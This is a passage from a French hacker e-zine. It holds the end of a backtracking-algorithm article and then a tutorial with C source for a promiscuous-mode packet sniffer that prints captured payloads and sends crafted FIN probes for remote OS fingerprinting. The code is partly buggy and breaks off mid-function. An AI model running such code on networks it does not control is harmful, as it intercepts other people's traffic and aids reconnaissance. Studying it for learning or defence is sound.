| B
v
S- { | B'
v
[Depiler W]
| A'
v
Toutes les écritures sont empilées pour pouvoir être imprimées si un
succès est atteint.
4) S+ { | A
v
---------
|R vide |-non------
--------- |
| |
oui [Depiler A vers X]
| |
[Lire X] |
| |
-------------->|
|
v B
S { | A
v
[Lire X] =================|>
|
v B
S- { | B'
v
[Dépiler X dans R]
| A'
v
Parce que la lecture est irréversible, une pile R, initialement vide, est
utilisée pour empiler toutes les lectures sur lesquelles on effectuera
éventuellement un retour.
5) S+ { Depart
| A
v
S { Depart
| A =================|>
v
S- { | A'
v
Stop
Toutes les solutions possibles ont été passées en revuen l'algorithme
déterministe s'arrête.
6) S+ { | A
|
|
S { | A |
v ==================|> |
[Echec] |
|
|
S- { |
|
|
| A'
v
Un échec déclenche toujours le retour.
7) S+ { | A
v
[Ecrire W sans]
[ le détruire ]
|
----------------
|Un seul calcul|-oui--
| suffit-il | |
---------------- [Stop]
|
non
|
S { | A |
v ==================|> |
[Succès] |
|
|
S- { |
|
|
| A'
v
En atteignant un succès, toutes les écritures accumuulées sont imprimées.
Si toutes les solutions du problème sont désirées, on effectuera un retour.
8) S+ { | A | B
v v
[Empiler 0] [Empiler 1]
[ dans M ] [ dans M ]
| |
---------> <------
| C
v
S { \A B/
\ /
\ /
\ /
- =================|>
|
| C
v
S- { | C'
v
[Depiler M vers T}
|
v
-------
non-| T=0 |-oui
| ------- |
v A' v B'
Au point ou deux chemins se rencontrent, on doit repérer quel chemin
a été pris.
9) S+ { | A
v
[Empiler X dans M]
|
[X<-1]
|<---------
-------- |
| X<=f |-non------
-------- | |
| | |
oui | |
| B | |
v | |
| |
| |
S { | A | |
v =================|> | |
[X<-Choix(f)] | |
| B | |
v | |
| |
| |
S- { | B' | |
v | |
[X<-X+1] | |
| | |
----------- |
|
--------------
|
v
[Depiler M vers X]
| A'
v
On sauve la variable X dans la pile M et on attribue la valeur 1 à X.
Après que toutes les possibilités (pour chaque valeur particulière de
choix (f)) aient été essayées, la valeur immédiatement plus grande est
essayée.
Quand toutes les valeurs ont été essayées, la valeur initiale de X est
remise et le retour continue.
1a) S+ { | A
v
[X<-f(x)]
| B
v
S { | A
v
[X<-f(X)] ===================|>
|
v B
S- { | B'
[X<-f(X)]
| A'
v
Ce n'est pas la peine d'empiler X si f a un inverse facilement calculable.
exemple: x <- x+1 inverse x <- x-1
x <- vrai inverse x <- faux
8a) S+ { \A B/
\ /
\ /
\ /
-
|
| C
v
S { \A B/
\ /
\ /
\ /
- ==================|>
|
| C (Où P est toujours
v vrai sur A et faux
sur B.)
S- { | C'
-------
oui-| P! |-non
| ------- |
v A' v B'
Très souvent, lorsque deux chemins se joignent, on peut savoir lequel
a été pris en regardant les variables du programme.
[ END ]
This is the end.
Vous avez désormais de quoi vous prendre la tête quelques soirées.
Pour envoyer des dons, une petite pièce, un chèque ou les
cordonnées bancaires d'un compte bien rempli en suisse, veuillez
adressez vos offres à l'adresse suivante :
disk-lexic@caramail.com
---------------------------------------------------------------------------------------
IV. Sniffing avancé - lsniff.c Li0n7
---------------------------------------------------------------------------------------
[ Introduction ]
Nous avons étudié dans l'issue précédente un sniffer de basse facture se contentant
d'afficher les différents champs de l'header principale de la trame Ethernet ( les
adresses MAC src et dest). Cette fois-ci, nous n'allons plus nous contenter de sniffer
une couche, mais quatre couches!
Comme préambule à l'OS fingerprinting, nous implémenterons une fonction de prise
d'empreinte de la pile TCP/IP à distance.
[ Sommaire ]
I. Description
II. Programmation
III. Code source
IV. Conclusion
I. Description :
________________
Lors de la programmation du sniffer, nous manipulerons des paquets de
manière très fine ; il est donc obligatoire de connaitre la structure
d'un paquet dans son intégralité. Ici le snaplen est de 68 octets, mais
il varie énormement selon les protocoles et les options des en-têtes.
Cette structure est générique, elle commence par la couche liaison avec
l'en-tête principale de la trame, ou en-tête encapsulateur, contenant
les adresses MAC sources et destination. Ensuite l'header IP suit (proto
mode non-connecté), sa taille peut varier, mais elle est au minimum de
20 octets sans les options. Puis l'header du protocole de communication
utilisé (TCP, UDP, ICMP, protos semi-connectés). Là encore la taille en
octet varie selon le protocole et les options définies (de 8 à 20 octets).
Je vous renvoie étudier les en-têtes des différents protocoles présentés
dans l'issue précédente. Le dernier en-tête contient les données transmises
à travers le réseau, elles peuvent renfermer, en l'occurence des informations
censés êtres protégés, qu'elles soient cryptés ou non.
[ Structure d'un paquet ]
14 20 20 14
+---------+--------------+--------------+------>>------+
| | | | |
| EN-TETE | EN-TETE | EN-TETE | DONNEES |
| TRAME | IP | PROTOCOLE | PROTOCOLE |
| | | | |
+---------+--------------+--------------+------<<------+
<------------------------------------------------------>
Trame Ethernet
<-------------------------------------------->
Datagramme IP
<----------------------------->
Paquet TCP, ICMP, UDP
[ Filtres ]
lsniff capture tout type de traffic, mais il peut se contenter, selon la demande
de l'utilisateur, de n'afficher qu'un type précis de paquet, en limitant l'affichage
lourd des différents headers. Lors de chaque initialisation d'une session de capture
lsniff, vous devez préciser le protocole à sniffer avec l'option -p. Attention, le
protocole est identifié via son numéro propre (voir etc/protocols). Par exemple, pour
sniffer des paquets tcp vous lancerez lsniff comme ceci ./lsniff -ieth0 -p6.
Eth0 étant l'interface utilisée par la plupart des systèmes. Pour afficher tout
type de paquet, il suffit de rentrer en paramètre -p0. Il est également possible
de récupérer le numéro d'un protocole en utilisant son nom et vice-versa. Pour cela,
ajouter l'argument -z suivit du nom ou du numéro.
$ ./protos tcp 1
1: tcp ( TCP ) numéro: 6
1: icmp ( ICMP ) numéro: 1
[ Interfaces ]
Il a été implémenté deux types d'interface avec lsniff : une interface simple
(TCPdump-like), et une autre complexe et entièrement configurable, structurée
autour de la gestion des différents header de la trame réseau. Pour utiliser
l'interface simple par défaut, n'entrer aucun argument, sinon -e (pour afficher
l'en-tête encapsulateur dans sa totalité), -t(pour en-tête IP complet), -p<proto>
(affichage de tous les champs de l'entête de $proto) et enfin -d pour capturer
les données du protocole.
Si par hasard toutes ses options doivent êtres combinées, lancer lsniff avec
l'argument -x.
=> interface simple
./lsniff -ieth0 -p0 -s
1.4.6 99.236.109.178:5000 > 125.2.2.5:80 S win 65535 674719801>674719801(0)
=> interface complexe
./lsniff -ieth0 -p0 -x
---------->>> Trame réseau numéro: 1
--[ETHERNET HEADER]
Host Source Ethernet: 01:40:06:00:00:00
Host Distant Ethernet: d6:10:00:40:14:54
Type: 61884
--[IP HEADER]
Adresse IP source: 99.236.109.178
Adresse IP destination: 125.2.2.5
IHL:5, VERSION:4, TOS:0, TOT_LEN:10240, ID:30384, TTL:255, PROTOCOL: 6
--[TCP HEADER]
Port source: 5000
Port destination: 80
SEQ: 674719801, ACK_SEQ: 0, D_OFF: 1, RES1: 0, FIN:0, SYN: 1
RST: 0, PSH:0, ACK:0, URG:0, WINDOW: 65535, URG_PTR:0
Une petite description de l'interface simple s'impose :
1.4.6 99.236.109.178:5000 > 125.2.2.5:80 S win 65535 674719801>674719801(0)
"1.4.6" : 1: trame réseau numéro 1,
4: version du protocole IP,
6: numéro d'identification du protocole (ici TCP)
"99.236.109.178:5000 > 125.2.2.5:80" : host source(99.236.109.178) envoyant
un paquet du port 5000 au port 80 de 125.2.2.5
"S win 65535" : S signifie que le flag SYN pointe sur 1, chaque flag est
représenté par la première lettre de son nom.
674719801>674719801(0): numéro_de_séquence_entrant
numéro_de_séquence_sortant
(taille du champ données du protocole)
[ Manipulation des protcoles ]
Depuis la création du Réseau des réseaux, les protocoles font partie-intégrante
de son fonctionnement. Ils régissent le réseau et évitent ainsi toute anarchie.
Ils instorent un système de communication universel et obéissent à un modèle :
le modèle OSI définie en 1984.
Lors de la création d'un paquet, celui-ci se voit attribuer différentes couche ;
ce procédès répond plus commnunément à l'appelation d'encapsulation (ou tunneling).
Voici le modèle actuel :
(7) Application => gère le transport des informations entre les programmes
(6) Présentation => s'occupe de la mise en forme du texte et des conventions d'affichage
(5) Session => s'occupe de l'établissement de la gestion des coordinations de communication
(4) Transport => gère la remise correcte des informations
(3) Réseau => détermine les routes de transport et du transfert de messages
(2) Liaison de données => s'occupe du codage, de l'adressage, de la transmission des informations
(1) Physique => gère les connections matérielles
Ainsi, nous savons que chaque datagramme subit une encapsulation rigoureuse
avant son envoi sur le réseau. A l'arrivée des données sur l'ordinateur distant,
il y a décaspulation, soit le processus inverse, c'est ainsi que l'on peut dire
que les couches dialogues virtuellement entres elles même s'ils elles n'ont de
contacts qu'avec les couches inférieurs et supérieurs qui les entourent. Il est
utile de noter que contrairement aux idées reçues, les protocoles les plus
répandues TCP/IP et UDP/IP, pour les nommer, n'utilisent que 5 des 7 couches
du modèle OSI,
la communication est alors modifiée :
*encapsulation* *processus inverse*
--------------- ---------------
| couche | | couche |
| application | <------------------> | application |
| | | |
--------------- ---------------
| couche | | couche |
| transport | <------------------> | transport |
| TCP | | TCP |
--------------- ---------------
| couche | | couche |
| réseau IP | <------------------> | réseau IP |
| | | |
--------------- ---------------
| couche | | couche |
| liaison | <------------------> | liaison |
| Ethernet | | Ethernet |
--------------- ---------------
|| ||
><-----------------------------------------------------------------------------------------><
Couche physique (support matériel)
Ci-dessous une liste non exhaustive de protocoles, consultables via etc/protocoles.
# /etc/protocols:
# $Id: protocols,v 1.1.1.1 1999/12/27 21:11:58 chmouel Exp $
#
# Internet (IP) protocols
#
# from: @(#)protocols 5.1 (Berkeley) 4/17/89
#
# Updated for NetBSD based on RFC 1340, Assigned Numbers (July 1992).
ip 0 IP # internet protocol, pseudo protocol number
icmp 1 ICMP # internet control message protocol
igmp 2 IGMP # Internet Group Management
ggp 3 GGP # gateway-gateway protocol
ipencap 4 IP-ENCAP # IP encapsulated in IP (officially ``IP'')
st 5 ST # ST datagram mode
tcp 6 TCP # transmission control protocol
egp 8 EGP # exterior gateway protocol
pup 12 PUP # PARC universal packet protocol
udp 17 UDP # user datagram protocol
hmp 20 HMP # host monitoring protocol
xns-idp 22 XNS-IDP # Xerox NS IDP
rdp 27 RDP # "reliable datagram" protocol
iso-tp4 29 ISO-TP4 # ISO Transport Protocol class 4
xtp 36 XTP # Xpress Tranfer Protocol
ddp 37 DDP # Datagram Delivery Protocol
idpr-cmtp 39 IDPR-CMTP # IDPR Control Message Transport
ipv6 41 IPv6 # IPv6
ipv6-route 43 IPv6-Route # Routing Header for IPv6
ipv6-frag 44 IPv6-Frag # Fragment Header for IPv6
ipv6-crypt 50 IPv6-Crypt # Encryption Header for IPv6
ipv6-auth 51 IPv6-Auth # Authentication Header for IPv6
ipv6-icmp 58 IPv6-ICMP # ICMP for IPv6
ipv6-nonxt 59 IPv6-NoNxt # No Next Header for IPv6
ipv6-opts 60 IPv6-Opts # Destination Options for IPv6
rspf 73 RSPF #Radio Shortest Path First.
vmtp 81 VMTP # Versatile Message Transport
ospf 89 OSPFIGP # Open Shortest Path First IGP
ipip 94 IPIP # Yet Another IP encapsulation
encap 98 ENCAP # Yet Another IP encapsulation
[ OS FINGERPRINTING ] - [ TCP FIN PROBE]
J'ai implémenté une petite fonction de prise d'empreinte de la pile à distance.
Bien sûr, ce test est basique, l'OS ne peut pas être déterminé de façon précise,
mais le but était d'imposer un préambule à cette notion. La technique utilisée
fut très en vogue, mais se démode, pour être efficace il aurait fallut la coupler
à un TCP SYN SAMBLING et un hypothétique ICMP MSG ERROR QUENCHING. Ici, nous allons
nous contenter de faire un SYN PROBE.
Le principe est simple : certains OS, conformement à la RFC 793, sont censés ne PAS
répondre à un paquet envoyé contenant un flag FIN, mais certaines implémentations
des stacks tcp/ip d'OS comme MS Windows, BSDI, CISCO, HP/UX, MVS et IRIX ont été
grandement modifiées et répondent par un flag RST, ce qui implique un défaut de
sécurité. Pour éxécuter une prise d'empreinte de la pile TCP/IP d'un host distant,
il suffit d'utiliser l'option -o<adresse cible> <votre adresse>.
[ Introduction à la détection du sniffing ]
Bien que la sécurité d'un réseau contre le sniffing ne soit pas le but de cette
article, il ne va pas sans dire que ce sujet est extrémement intéréssant, les
techniques étant nombreuses. La majorité des administrateurs de réseaux volumineux
(plusieurs centaines de machines) n'hésitent pas à les commuter, bien qu'en général
les raisons soient plus souvents techniques et dans une optique de gain de performance.
Un réseau étant commuté, les paquets envoyés par les machines atteignent directement
la distination désirée, mais ce n'est pas pour autant que le pirate ne pourra pas
renifler ce réseau. Une parade connue est l'hijacking ARP (avec les attaques de type
Man In the Middle) qui fera surement l'objet d'un article prochainement ; ceci consiste
à altérer les tables de correspondances IP/MAC ADDRESSES de manière à se glisser litté-
-ralement entre deux hôtes réseaux communiquants, ainsi le sniffing est possible.
La détection d'un pirate sniffant est aussi très ludique, nous distinguons trois
techniques majeures :
¤ La première consiste à générer une fausse connection réseau sur un LAN
puis surveiller les requêtes DNS qui tentent de résoudre l'adresse falsifiée.
¤ La seconde réside dans un bug de pilote Ethernet Linux. En effet, une machine
tournant en mode promiscuous n'arrive pas à vérifier l'adresse Ethernet des
paquets qu'elle reçoit, cette validation est effectuée au niveau IP et doit
être normalement abandonnée si cette adresse ne correspond pas à celle de
l'hôte, au niveau matériel. Ainsi, si un paquet est reçu avec une adresse
Ethernet falsifiée mais une IP correspondant à celle de l'hôte qui le reçoit,
alors une réponse sera émise.
Il suffit donc d'envoyer un quelconque paquet construit avec une adresse
Ethernet altérée à tous les hôtes d'un réseau pour identifier les sniffers
qui répondent.
¤ Enfin une technique très peu utilisée permettant de dénicher un hôte
surveillant le réseau, est le calcul de la latence de ce dernier, c'est
à dire le nombres de commandes pings qu'il émet. Plus ce nombre est éle-
-vé, plus il répondra lentement aux pings envoyés. Cette méthode est donc
simple : évaluer dans un premier temps la latence d'un hôte en lui envoyant
un ping puis en calcuant le temps de réponse, puis, générer ensuite un traffic
réseau extrémement important et, dans un dernier temps envoyer une seconde
requête ping en mesurant le temps de réponse. Si les deux temps diffèrent
(de manière importante) alors l'hôte surveillait le réseau. Notez que les
variations de latence d'un hôte peut dépendre de nombreux facteurs.
II. Programmation :
___________________
Autant le dire tout de suite, lsniff n'a pas un code facile à étudier, pour la
bonne et simple raison que le publier n'était à l'origine pas mon but. Nous allons
étuider successivement chacune de ses fonctions, de l'ouverture de l'interface au
point d'entrée, en passant par le stack fingerprint. Aussi, je vous demanderais
d'être très attentifs aux nombreuses variables int (faisant office de bools ici)
que j'ai utilisées pour manipuler les différentes interfaces.
[ Structures ]
Les structures utilisées sont nombreuses et volumineuses. Chaque protocole IP, TCP,
UDP, ICMP dispose d'une structure qui lui est propre, destinée à faciliter l'inter-
-activité avec les différents champs de chaque header. L'header ethernet présente
aussi une structure générique :
struct pseudohdr { // pseudo header utilisé pour le calcul du checksum
unsigned long saddr;
unsigned long daddr;
char useless;
unsigned char protocol;
unsigned short length;
} pseudo;
struct ether_header *hdr;
struct iphdr *ip;
struct tcphdr *tcp;
struct icmphdr *icmp;
struct udphdr *udp;
struct sockaddr_in rhost; // hôte distant pour le stack fingerp
struct hostent *source; // pointeur sur adresse source
struct hostent *cible; // pointeur sur adresse destination
struct recvpaquet // manipulation des différents headers d'un paquet
{
struct ethhdr eth; // header ethernet (adresses MAC)
struct iphdr ip; // header IP
struct tcphdr tcp; // header TCP
struct icmphdr icmp; // header ICMP
struct udphdr udp; // header UDP
char data[8000]; // header données du protocole du champ précédent
} buffer;
int size; // snaplen
1. Overture interface & fingerprint :
_____________________________________
[ Ouvre_interface ]
Je ne vais pas m'étendre, cette fonction permet d'ouvrir l'interface réseau
propre au système utilisé (eth0 par exemple). Cette fonction prend pour argument
le nom de l'interface, passé en paramètre, entrée par l'utilisateur. Puis on met
la carte réseau en mode promiscuous.
------8<---------------------------------------------------------------------
int ouvre_interface(char *name)
{
struct sockaddr addr; /* déclaration de notre structure générique d'adressage */
struct ifreq ifr; /* structure de manipulation des trames */
int sockfd; /* déclaration de notre socket */
sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)); /* définition de notre socket*/
if(sockfd<0) return -1;
memset(&addr, 0, sizeof(addr)); /* on remplit de 0 le ptr addr */
addr.sa_family=AF_INET;
strncpy(addr.sa_data, name, sizeof(addr.sa_data));
/* on bind via notre socket sockfd, et ainsi on "écoute" */
/* les trames réseaux circulant */
if(bind(sockfd, &addr, sizeof(addr)) !=0 ){
close(sockfd);
return -1;
}
memset(&ifr,0,sizeof(ifr));
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
/* le point d'entrée ioctl permet l'éxécutions d'opérations particulières */
/* sur des périphériques autres que lectures/ écriture, ici nous accèdons */
/* aux fonctions de notre socket */
if(ioctl(sockfd, SIOCGIFHWADDR, &ifr)<0){
close(sockfd);
return -1;
}
/* si l'interface n'est pas ethernet alors on quitte */
if(ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER){
close(sockfd);
return -1;
}
/* accès aux options des sockets */
memset(&ifr,0,sizeof(ifr));
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) <0)
{
close(sockfd);
return -1;
}
ifr.ifr_flags |= IFF_PROMISC;
if(ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) {
close(sockfd);
return -1;
}
return sockfd; // retourne la socket
}
------8<---------------------------------------------------------------------
[ os_fingerprint ]
Cette fonction va éxécuter une prise d'empreinte de tcp/ip stack en remote.
Pour cela, elle va forger un paquet tcp avec un quelconque bit de contrôle
(différent du SYN/ACK) initialisé à 1, puis va attendre une hypothétique
réponse d'un OS contenant un flag RST.
------8<---------------------------------------------------------------------
int os_fingerp(unsigned long ssource, unsigned long scible)
{
char *paquet, *fip, *packet, *buffer;
int sock;
// Allocation dynamique de mémoire pour le paquet et le buffer
packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
ip = (struct iphdr *) packet;
tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
// remplissage des champs de l'header IP
ip->ihl = 5; // nombre de DWORDS constituant le datagramme IP
ip->version = 4;
// Version 4
ip->tos = 0; // Type Of Service
ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
ip->id = (random()); // ID aléatoire
ip->ttl = 255; // Time To Live
ip->protocol = IPPROTO_TCP; // Protocole de communication
ip->saddr = ssource; // Adresse source (la vraie ;-))
ip->daddr = scible; // Adresse destination
// remplissage des champs du pseudo header destiné à calculer la somme de contrôle
pseudo.saddr = ip->saddr;
pseudo.daddr = ip->daddr;
pseudo.useless = htons(0);
pseudo.protocol = IPPROTO_TCP;
pseudo.length = sizeof(struct tcphdr);
// remplissage des champs de l'header TCP
tcp->source = htons(5000); // port source
tcp->dest = htons(80); // port destination
tcp->seq = htonl(SEQ); // 0x28376839
tcp->ack_seq = htonl(0);
tcp->doff=sizeof(tcp)/4;
tcp->res1 = 0;
tcp->fin = 1; // bit de contrôle fin activé
tcp->syn = 0;
tcp->rst = 0;
tcp->psh = 0;
tcp->ack = 0;
tcp->urg = 0;
tcp->window = htons(65535); // taille assez volumineuse
tcp->urg_ptr = htons(0);
// calcul des sommes de contrôle
tcp->check = in_cksum((unsigned short *)&pseudo,sizeof(struct tcphdr) + sizeof(struct pseudohdr)) ;
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
// initialisation de notre socket
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
// en cas d'erreur on quitte
perror("Erreur lors de la creation du socket");
return -1;
} else {
// sinon on définie l'hôte distant
rhost.sin_family = AF_INET; // domaine
rhost.sin_port = tcp->dest; // port distant
rhost.sin_addr.s_addr = ip->daddr; // adresse distante
// on envoie le paquet
if((sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&rhost, sizeof(struct sockaddr)))<0){
// en cas d'erreur on quitte
perror("Erreur lors de l'envoie du paquet FIN");
}else{
// sinon on lance une boucle de lecture des paquets passant sur le réseau
printf("Paquet FIN envoye sur port: %d!\n", ntohs(tcp->dest));
size = read(sock, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
read_loop(sock, 0, 0, 0, 0, 0, 1);
}
}
// on ferme la socket
close(sock);
// statistiques
printf("\n>-=+=+=+=+=+=- Statistiques -=+=+=+=+=+=-<\n\n");
return 0;
}
------8<---------------------------------------------------------------------
2. Lecture des paquets :
________________________
[ read_loop ]
Voici l'artère principale du sniffer. Elle s'articule autour d'une boucle, qui à
chaque paquet reçu sur la carte Ethernet passée en mode promiscuous, affiche selon
les désirs de l'utilisateur et les paramêtres, l'interface et les différents champs
du paquet capté. Notez que pour proposer une programmation plus structurée donc plus
facile d'accès et de manipulation, une structure, recvpaquet, est utilisée pour
l'affichage des paquets ; en effet elle contient tous les headers du paquet reçu.
------8<---------------------------------------------------------------------
int read_loop(int sockfd, int protos, int x, int sinter, int sip, int sdat, int os)
{
struct hostent *hote; // pointeur sur l'adresse distante
char buf[1792], *donnees, *proto, *flag[5], *itype, *ios;
int fromlen, c, i=0, j, datal, stype;
struct protoent * protocole;
unsigned char *s, *d, *ftype;
// Allocation dynamique de mémoire
ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2); // header IP
tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2); // header TCP
icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2); // header ICMP
udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2); // header UDP
proto = (char *)malloc(1024); // allocation de mémoire pour le ptr proto
for (j=0; j <= 5; j++){
flag[j] = (char *)malloc(1024); // allocation de mémoire pour les pointeurs sur les flags (utilisé
pour différencié les flags contenus dans l'header tcp lors de l'affichage en mode simple)
}
itype = (char *)malloc(1024); // allocation de mémoire pour icmp champs type
ios = (char *) malloc(1024); // allocation de mémoire pour le char *ios qui stockera l'adresse de tcp->rst (pour l'os fingerp)
s = (unsigned char *)&(ip->saddr); // adresse source
d = (unsigned char *)&(ip->daddr); // adresse destination
while(1){
i++;
size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); // on lit les paquets passant sur notre
carte réseau
if(size<0)
return -1;
if (size < sizeof(struct ether_header))
continue;
if (os == 0){ // Si l'utilisateur ne désire pas éxécuter de prise d'empreinte de stack
// alors on stocke les adresses des différents champs tcp/ip pour leur affichage ultérieure
sprintf(proto, "%d", ip->protocol); // protocole au dessus de l'en-tête IP
sprintf(flag[0], "%d", tcp->fin); // bit de contrôle: fin
sprintf(flag[1], "%d", tcp->syn); // bit de contrôle: syn
sprintf(flag[2], "%d", tcp->rst); // bit de contrôle: rst
sprintf(flag[3], "%d", tcp->psh); // bit de contrôle: psh
sprintf(flag[4], "%d", tcp->ack); // bit de contrôle: ack
sprintf(flag[5], "%d", tcp->urg); // bit de contrôle: urg
if(sinter==1){
// si l'interface complexe a été choisie
printf("---------->>> Trame réseau numéro: %i\n", i);
hdr=(struct ether_header *)buf;
if(x==1){
// si l'utilisateur a demandé l'affichage de l'header Ethernet
printf("--[ETHERNET HEADER]\n");
printf("Host source ethernet: ");
// on affiche l'adresse MAC source
for(c=0; c < ETH_ALEN; c++)
printf("%s%02x",c==0 ? "" : ":", hdr->ether_shost[c]);
printf("\nHost distant ethernet: ");
for(c=0; c < ETH_ALEN; c++)
// on affiche l'adresse MAC destination
printf("%s%02x",c==0 ? "" : ":", hdr->ether_dhost[c]);
// on affiche le type
printf("\nType: %i\n",hdr->ether_type);
}
if (sip==1){
// si l'utilisateur a demandé l'affichage de l'header IP
printf("--[IP HEADER]\nAdresse IP source: %u.%u.%u.%u\nAdresse IP destination: %u.%u.%u.%u\n",
s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3]);
// affichage de l'ip Source et destination
printf("IHL: %d, VERSION: %d, TOS: %d, TOT_LEN: %d, ID: %d, TTL: %d, PROTOCOLE: %d\n",
ip->ihl, ip->version, ip->tos, ip->tot_len, ip->id, ip->ttl, ip->protocol);
// affichage des différents champs composant l'header IP
}
// si l'utilisateur a demandé la capture de paquets TCP ou de tout type de paquet
if(((atoi(proto))==6)&&(protos==6 || protos==0)){
printf("--[TCP HEADER]\nPort source: %d\nPort destination: %d\n", ntohs(tcp->source), ntohs(tcp->dest));
printf("SEQ: %d, ACK_SEQ: %d, D_OFF: %d, RES1: %d, FIN: %d, SYN: %d, RST: %d\n", ntohl(tcp->seq), ntohl(tcp->ack_seq),
tcp->doff, tcp->res1, tcp->fin, tcp->syn, tcp->rst);
printf("PSH: %d, ACK: %d, URG: %d, WINDOW: %d, URG_PTR: %d\n", tcp->psh, tcp->ack, tcp->urg, ntohs(tcp->window), ntohs(tcp->urg_ptr));
// longueur du champ en-tête données protocole
datal = size - 2 - (sizeof(struct tcphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
donnees = (char *)(((unsigned long)buffer.data)-2); // header data
if(sdat==1){
// on affiche les données si cela a été rentré en argument
printf("--[DONNES]\n");
for(j=0; j <= datal; j++)
printf("%c", donnees[j]);
}
// si l'utilisateur a demandé la capture de paquets ICMP ou de tout type de paquet
} else if (((atoi(proto)) ==1)&&(protos==1 || protos==0)) {
printf("--[ICMP HEADER]\nType: %d\nCode: %d\n", icmp->type, icmp->code);
printf("echo.id: %d\nEcho.seq: %d\nChecksum: %d\n", icmp->un.echo.id, icmp->un.echo.sequence, icmp->checksum);
// si l'utilisateur a demandé la capture de paquets UDP ou de tout type de paquet
} else if (((atoi(proto)) ==17)&&(protos==17 || protos==0)){
printf("--[UDP HEADER]\nPort source: %d\nPort destination: %d\n", ntohs(udp->source), ntohs(udp->dest));
printf("Len: %d\nChecksum: %d\n", ntohs(udp->len), udp->check);
donnees = (char *)(((unsigned long)buffer.data)-2); // header data
// longueur du champ en-tête données protocole
datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
if(sdat==1){
// on affiche les données si cela a été rentré en argument
printf("--[DONNEES]\n");
for(j=0; j <= datal; j++)
printf("%c", donnees[j]);
}
}
} else {
// affichage interface simple, il y a plus de boulot au niveau de la gestion des champs
// si l'utilisateur a demandé la capture de paquets TCP ou de tout type de paquet
if(((atoi(proto))==6)&&(protos==6 || protos==0)){
datal = size - 2 - (sizeof(struct tcphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
if(datal < 0) datal = 0;
// affichage interface simple
printf("%i.%d.6(tcp) %u.%u.%u.%u:%d > %u.%u.%u.%u:%d",
i, ip->version, s[0],s[1],s[2],s[3], ntohs(tcp->source), d[0],d[1],d[2],d[3], ntohs(tcp->dest));
if((atoi(flag[0]))==1) printf(" F"); // si flag FIN=1 alors on affiche "F"
if((atoi(flag[1]))==1) printf(" S"); // si flag SYN=1 alors on affiche "S"
if((atoi(flag[2]))==1) printf(" R"); // si flag RST=1 alors on affiche "R"
if((atoi(flag[3]))==1) printf(" P"); // si flag PSH=1 alors on affiche "P"
if((atoi(flag[4]))==1) printf(" A"); // si flag ACK=1 alors on affiche "A"
if((atoi(flag[5]))==1) printf(" U"); // si flag URG=1 alors on affiche "U"
printf(" win %d %d>%d(%i)", ntohs(tcp->window), ntohl(tcp->seq), ntohl(tcp->seq)+datal, datal);
// si l'utilisateur a demandé la capture de paquets ICMP ou de tout type de paquet
} else if (((atoi(proto)) ==1)&&(protos==1 || protos==0)) {
stype = icmp->type; // on stock icmp->type dans l'int stype
ftype = icmp_type(stype); // puis on identifie le champ type de l'header ICMP
// affichage interface simple
printf("%i.%d.1(icmp) %u.%u.%u.%u > %u.%u.%u.%u icmp(%d): %s",
i, ip->version, s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3], stype, ftype);
// si l'utilisateur a demandé la capture de paquets UDP ou de tout type de paquet
} else if (((atoi(proto)) ==17)&&(protos==17 || protos==0)) {
datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
if (datal<0) datal = 0;
// affichage interface simple
printf("%i.%d.17(udp) %u.%u.%u.%u:%d > %u.%u.%u.%u:%d udp(%i) %d:%d",
i, ip->version, s[0],s[1],s[2],s[3], ntohs(udp->source),
d[0],d[1],d[2],d[3], ntohs(udp->dest), datal, ntohs(udp->len), udp-> check);
// Si le protocole est différent d'ICMP, TCP ou UDP, alors on effectue un affichage limité
} else if ((atoi(proto))==protos || protos==0) {
// affichage du numéro de la trame, de la version d'IP, du numéro du protocole, de son nom, de l'adresse source et de l'adresse destination.
printf("%i.%d.%i(%s) %u.%u.%u.%u > %u.%u.%u.%u", i, ip->version, ip->protocol, getprotobynumber(ip->protocol), s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3]);
}
}
printf("\n");
} else {
// Sinon en cas d'OS Fingerprinting on affiche adresse source, adresse destination, le flag syn, fin, rst et ack
printf("%u.%u.%u.%u > %u.%u.%u.%u > %d %d %d", s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3], tcp->syn, tcp->fin, tcp->rst, tcp->ack);
sprintf(ios, "%d", tcp->rst); // notre ptr ios pointe sur l'adresse tcp->rst
if((atoi(ios))==1){ // si le flag RST était sur 1 alors on affiche les statistiques
printf("Système distant probable: WINDOWS, BSDI, CISCO, HP/UX, MVS, IRIX\n");
}
}
}
// Nombre de paquets sniffés
printf("Nombre de paquets sniffés: %d\n", i);
}
------8<---------------------------------------------------------------------
[ icmp_type ]
Cette fonction va nous servir à identifier le champ type de l'header icmp en
donnant une courte description. (pour un tableau exhaustif des différents types
icmp, référez-vous à mon article sur le smurfing icmp).
Cette fonction prend un argument de type int (icmp->type) et renvoit un pointeur
sur la description donnée.
------8<---------------------------------------------------------------------
char *icmp_type(int type){
char *rtype;
switch (type){ // on switch le type
// puis selon la valeur de l'int type, on affiche la description correspondante
case 0:
rtype = "echo reply";
break;
case 3:
rtype = "unreachable host";
break;
case 4:
rtype = "Source quench";
break;
case 5:
rtype = "Redirection";
break;
case 6:
rtype = "Alternative host adress";
